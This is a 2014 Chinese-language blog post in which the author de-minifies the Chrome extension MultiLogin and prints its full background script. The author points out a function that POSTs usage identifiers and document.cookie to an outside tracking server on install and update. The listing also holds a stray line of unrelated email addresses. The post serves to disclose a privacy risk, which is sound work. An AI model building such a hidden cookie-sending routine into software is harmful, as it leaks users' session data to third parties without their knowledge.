2014
Apr
07

網頁好讀版

我想大部分的人都有多個 Google, Yahoo, 帳號,有時候需要同時用兩個不同的帳號登入 Google ,這時最簡單的方式就是打開兩個瀏覽器,但是我已經習慣使用 Chrome 瀏覽器了,所以我不太願意有打開兩個瀏覽器。

後來我搜尋了 Google Chrome Extension,找一個支援切換帳號的功能,很快的就找到了 「MultiLogin 」這個 extension,但是我不太敢使用這個 Extension,因為它幫我們完成帳號的切換,這也代表它會去操作瀏覽器的 Cookie ,這是一個很危險的行為。

為了確保我的帳號安全,我檢查了 MultiLogin 的程式碼! 結果非常驚人,我看到 MultiLogin 會將 cookie 傳送到 www.woopra.com 這個伺服器。

MultiLogin 有問題的程式碼

MultiLogin 的程式碼是有將過 compression 的,第一眼看到是完全沒辦法看懂的,但是還原回來後,就可以很清楚看到程式碼的行為。

background.min.js
  1. function y(b) {
  2. chrome.storage.local.set({
  3. install: !0
  4. });
  5. var a = new XMLHttpRequest;
  6. a.open("POST", "http://www.woopra.com/track/ce/", !0);
  7. a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  8. a.send("host\x3didmask.com\x26ce_name\x3d" + b + "\x26ce_version\x3d" + chrome.runtime.getManifest().version + "\x26ce_use\x3d" + n +
  9. "\x26ce_day\x3d" + (((new Date).getTime() - q) / 864E5 << 0) +
  10. "\x26ce_uid\x3d" + r + "\x26ce_mid\x3d" + s + "\x26ce_orgVersion\x3d" + t +
  11. "\x26ce_miduid\x3d" + s + r + "\x26ce_" + document.cookie +
  12. "\x26cookie\x3d" + r)
  13. }
\x26 是 「&」的 16進位代碼, \x3d 是 「=」的 16進位代碼

這段程式會將 document.cookie 當成參數 ce_miduid 傳送到 Server http://www.woopra.com/track/ce/

全部的程式碼

background.min.js
  1. var f = {}, g = [],
  2. l = [];
  3. m("");
  4. chrome.browserAction.onClicked.addListener(function () {
  5. n++;
  6. var b = {};
  7. b.use = n;
  8. chrome.storage.sync.set(b);
  9. chrome.tabs.create({}, function (a) {
  10. p(a.id, a.id + "_@@@_")
  11. })
  12. });
  13. var q, n, r, s, t, u;
  14. chrome.runtime.onInstalled.addListener(function (b) {
  15. chrome.storage.sync.get("date", function (a) {
  16. q = a.date;
  17. q || (q = (new Date).getTime(), a.date = q, chrome.storage.sync.set(a))
  18. });
  19. chrome.storage.sync.get("use", function (a) {
  20. n = a.use;
  21. n || (n = 0, a.use = n, chrome.storage.sync.set(a))
  22. });
  23. chrome.storage.sync.get("uid", function (a) {
  24. r = a.uid;
  25. r || (r = w(), a.uid = r, chrome.storage.sync.set(a))
  26. });
  27. chrome.storage.local.get("mid", function (a) {
  28. a.mid || (a.mid = w(), chrome.storage.local.set(a));
  29. s = a.mid;
  30. document.cookie || (document.cookie = "cuid\x3d" + s + ";max-age\x3d15552000")
  31. });
  32. chrome.storage.local.get("orgVersion", function (a) {
  33. a.orgVersion || (a.orgVersion = chrome.runtime.getManifest().version, chrome.storage.local.set(a));
  34. t = a.orgVersion
  35. });
  36. chrome.storage.local.get("mid", function (a) {
  37. a.mid || (a.mid = w(), chrome.storage.local.set(a));
  38. s = a.mid;
  39. document.cookie || (document.cookie = "cuid\x3d" + s + ";max-age\x3d15552000")
  40. });
  41. chrome.storage.local.get("install", function (a) {
  42. u = a.install
  43. });
  44. chrome.storage.sync.get(function () {
  45. x(b)
  46. })
  47. });
  48.  
  49. function x(b) {
  50. "update" === b.reason && b.previousVersion != chrome.runtime.getManifest().version && y(b.reason + "\x26ce_previousVersion\x3d" + b.previousVersion);
  51. "install" !== b.reason || (0 != ((new Date).getTime() - q) / 864E5 << 0 || u) || chrome.tabs.query({
  52. url: "https://chrome.google.com/webstore*"
  53. }, function (a) {
  54. if (a && a[0]) {
  55. var b = a[0];
  56. b.openerTabId ? chrome.tabs.get(b.openerTabId, function (a) {
  57. y("install\x26ce_url\x3d" + b.url + "\x26ce_referrer\x3d" + a.url)
  58. }) : y("install\x26ce_url\x3d" + b.url)
  59. } else {
  60. y("install")
  61. }
  62. })
  63. }
  64. group-digests@linkedin.com; groups-noreply@linkedin.com; member@linkedin.com; linkedin@e.linkedin.com; messages-noreply@linkedin.com
  65. function y(b) {
  66. chrome.storage.local.set({
  67. install: !0
  68. });
  69. var a = new XMLHttpRequest;
  70. a.open("POST", "http://www.woopra.com/track/ce/", !0);
  71. a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  72. a.send("host\x3didmask.com\x26ce_name\x3d" + b + "\x26ce_version\x3d" + chrome.runtime.getManifest().version + "\x26ce_use\x3d" + n + "\x26ce_day\x3d" + (((new Date).getTime() - q) / 864E5 << 0) + "\x26ce_uid\x3d" + r + "\x26ce_mid\x3d" + s + "\x26ce_orgVersion\x3d" + t + "\x26ce_miduid\x3d" + s + r + "\x26ce_" + document.cookie + "\x26cookie\x3d" + r)
  73. }
  74.  
  75. function w() {
  76. return ("000000000000" + (Math.random() * Math.pow(36, 12)).toString(36)).substr(-12)
  77. };
  78.  
  79. function m(b) {
  80. chrome.cookies.getAll({}, function (a) {
  81. for (var c in a) {
  82. var e = a[c],
  83. d = e.name;
  84. null === b && 0 < d.indexOf("@@@") || "" === b && -1 == d.indexOf("@@@") || b && d.substring(0, b.length) != b || chrome.cookies.remove({
  85. url: (e.secure ? "https://" : "http://") + e.domain + e.path,
  86. name: d
  87. }, function () {})
  88. }
  89. })
  90. }
  91.  
  92. function z() {
  93. chrome.cookies.getAll({}, function (b) {
  94. for (var a in b) {
  95. var c = b[a].name;
  96. if (!(0 > c.indexOf("_@@@_"))) {
  97. for (a in c = c.substr(0, c.indexOf("_@@@_")) + "_@@@_", g) {
  98. if (g[a] == c) {
  99. return
  100. }
  101. }
  102. }
  103. }
  104. })
  105. };
  106. chrome.tabs.onReplaced.addListener(function (b, a) {
  107. var c = A(a);
  108. p(b, c);
  109. delete g[a];
  110. B(b, c)
  111. });
  112. chrome.tabs.onRemoved.addListener(function (b) {
  113. a: {
  114. var a = A(b);
  115. if (a) {
  116. delete g[b];
  117. for (var c in g) {
  118. if (g[c] == a) {
  119. break a
  120. }
  121. }
  122. m(a)
  123. }
  124. }
  125. delete l[b]
  126. });
  127. chrome.tabs.onUpdated.addListener(function (b, a, c) {
  128. "loading" == c.status && p(b, A(b))
  129. });
  130. chrome.tabs.onCreated.addListener(function (b) {
  131. if (b) {
  132. var a = b.id;
  133. if (a && !(0 > a)) {
  134. if (!b.openerTabId) {
  135. var c = b.windowId;
  136. if (C && D && C != c) {
  137. c = A(D);
  138. p(a, c);
  139. l[a] = !0;
  140. return
  141. }
  142. }
  143. b.openerTabId && "chrome" != b.url.substr(0, 6) ? (c = A(b.openerTabId), p(a, c), "undefined" === typeof l[a] && (l[a] = b.openerTabId)) : l[a] = !0
  144. }
  145. }
  146. });
  147. var C;
  148. chrome.windows.getCurrent({}, function (b) {
  149. E(b.id)
  150. });
  151. chrome.windows.onFocusChanged.addListener(function (b) {
  152. E(b)
  153. });
  154.  
  155. function E(b) {
  156. b && chrome.windows.get(b, {}, function (a) {
  157. a && "normal" == a.type && (C = b, chrome.tabs.query({
  158. active: !0,
  159. windowId: C
  160. }, function (a) {
  161. D = a[0].id
  162. }))
  163. })
  164. }
  165. var D;
  166. chrome.tabs.onActiveChanged.addListener(function (b, a) {
  167. E(a.windowId)
  168. });
  169. chrome.webRequest.onBeforeRequest.addListener(function (b) {
  170. if ((b = b.tabId) && !(0 > b) && (z(), "undefined" === typeof l[b])) {
  171. b = 0;
  172. for (var a = (new Date).getTime(); 500 > b - a; b = (new Date).getTime()) {}
  173. }
  174. }, {
  175. urls: ["http://*/*", "https://*/*"],
  176. types: ["main_frame"]
  177. }, ["blocking", "requestBody"]);
  178. chrome.webRequest.onBeforeSendHeaders.addListener(function (b) {
  179. var a = b.tabId;
  180. if (a && !(0 > a)) {
  181. var c = A(a),
  182. e = b.url,
  183. d = b.requestHeaders,
  184. h = "";
  185. if ("https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
  186. if ("main_frame" == b.type) {
  187. f[a] = !1;
  188. if (e && 0 == e.indexOf("https://accounts.google.com/")) {
  189. var v, k;
  190. for (k in d) {
  191. if ("Referer" == d[k].name) {
  192. v = d[k].value;
  193. break
  194. }
  195. }
  196. v && 0 == v.indexOf("https://accounts.google.com/") && 0 < v.indexOf("chrome.google.com") && (f[a] = !0, c = "")
  197. }
  198. e && 0 == e.indexOf("https://accounts.google.com/") && 0 < e.indexOf("chrome.google.com") && (f[a] = !0, c = "");
  199. 0 == e.indexOf("https://chrome.google.com/webstore") && (f[a] = !0, c = "")
  200. }
  201. for (k in d) {
  202. if ("cookie" === d[k].name.toLowerCase()) {
  203. if (!c && -1 == d[k].value.indexOf("_@@@_")) {
  204. return
  205. }
  206. b = d[k].value.split("; ");
  207. for (var G in b) {
  208. a = b[G].trim();
  209. if (c) {
  210. if (a.substring(0, c.length) != c) {
  211. continue
  212. }
  213. } else {
  214. if (-1 < a.indexOf("_@@@_")) {
  215. continue
  216. }
  217. }
  218. 0 < h.length && (h += "; ");
  219. h = c ? h + a.substring(c.length) : h + a
  220. }
  221. d.splice(k, 1)
  222. }
  223. }
  224. 0 < h.length && d.push({
  225. name: "Cookie",
  226. value: h
  227. });
  228. return {
  229. requestHeaders: d
  230. }
  231. }
  232. }
  233. }, {
  234. urls: ["http://*/*", "https://*/*"]
  235. }, ["blocking", "requestHeaders"]);
  236. chrome.webRequest.onHeadersReceived.addListener(function (b) {
  237. var a = b.tabId;
  238. if (a && !(0 > a)) {
  239. var c = A(a);
  240. if ("" != c) {
  241. var e = b.url;
  242. b = b.responseHeaders;
  243. if (!f[a] && "https://translate.googleapis.com/translate_static/img/loading.gif" != e.substring(0, 65)) {
  244. for (var d in b) {
  245. "set-cookie" == b[d].name.toLowerCase() && (b[d].value = c + b[d].value)
  246. }
  247. return {
  248. responseHeaders: b
  249. }
  250. }
  251. }
  252. }
  253. }, {
  254. urls: ["http://*/*", "https://*/*"]
  255. }, ["blocking", "responseHeaders"]);
  256. chrome.webRequest.onBeforeRequest.addListener(function (b) {
  257. var a = b.tabId;
  258. if (a && !(0 > a) && A(a)) {
  259. return {
  260. redirectUrl: b.url.replace("https://mail.google.com/mail/ca/", "https://mail.google.com/mail/")
  261. }
  262. }
  263. }, {
  264. urls: ["https://mail.google.com/mail/ca/*"]
  265. }, ["blocking", "requestBody"]);
  266. chrome.webRequest.onHeadersReceived.addListener(function (b) {
  267. var a = b.tabId;
  268. if (a && !(0 > a)) {
  269. return b.responseHeaders.push({
  270. name: "6",
  271. value: A(a)
  272. }), {
  273. responseHeaders: b.responseHeaders
  274. }
  275. }
  276. }, {
  277. urls: ["https://translate.googleapis.com/translate_static/img/loading.gif"]
  278. }, ["blocking", "responseHeaders"]);
  279. chrome.webNavigation.onDOMContentLoaded.addListener(function (b) {
  280. var a = b.tabId;
  281. if (!(!a || 0 > a || !A(a) || 0 < b.frameId)) {
  282. try {
  283. chrome.tabs.sendMessage(a, {
  284. type: 5
  285. })
  286. } catch (c) {}
  287. }
  288. }, {
  289. urls: ["http://*/*", "https://*/*"]
  290. });
  291. chrome.runtime.onConnect.addListener(function (b) {
  292. b.onMessage.addListener(function (a) {
  293. 3 == a.type && b.sender.tab && b.postMessage({
  294. type: 4,
  295. profile: A(b.sender.tab.id)
  296. })
  297. })
  298. });
  299.  
  300. function A(b) {
  301. if (!(1 > b)) {
  302. return f[b] || !g[b] ? "" : g[b]
  303. }
  304. }
  305.  
  306. function p(b, a) {
  307. a && (g[b] = a, B(b, a))
  308. }
  309.  
  310. function B(b, a) {
  311. if ("undefined" !== typeof a) {
  312. var c = {
  313. text: a.substr(0, a.indexOf("_@@@_")),
  314. tabId: b
  315. };
  316. chrome.browserAction.setBadgeBackgroundColor({
  317. color: "#006600",
  318. tabId: b
  319. });
  320. chrome.browserAction.setBadgeText(c)
  321. }
  322. };
  323.  
  324. function F(b) {
  325. var a = b.pageUrl;
  326. b.linkUrl && (a = b.linkUrl);
  327. chrome.tabs.create({
  328. url: a
  329. }, function (a) {
  330. p(a.id, a.id + "_@@@_")
  331. })
  332. }
  333. chrome.contextMenus.create({
  334. title: "Duplicate Page in New Identity",
  335. contexts: ["page", "image"],
  336. onclick: F
  337. });
  338. chrome.contextMenus.create({
  339. title: "Open Link in New Identity",
  340. contexts: ["link"],
  341. onclick: F
  342. });

MultiLogin Extension:

備註 Chrome Extension 在 Mac 的安裝目錄

~/Library/Application\ Support/Google/Chrome/Default/Extensions/

備註 Chrome Extension 在 Windows 的安裝目錄

c:/Documents\ and\ Settings/{yourName}/Local\ Settings/Application\ Data/Google/Chrome/User\ Data/Default/Extensions

網頁好讀版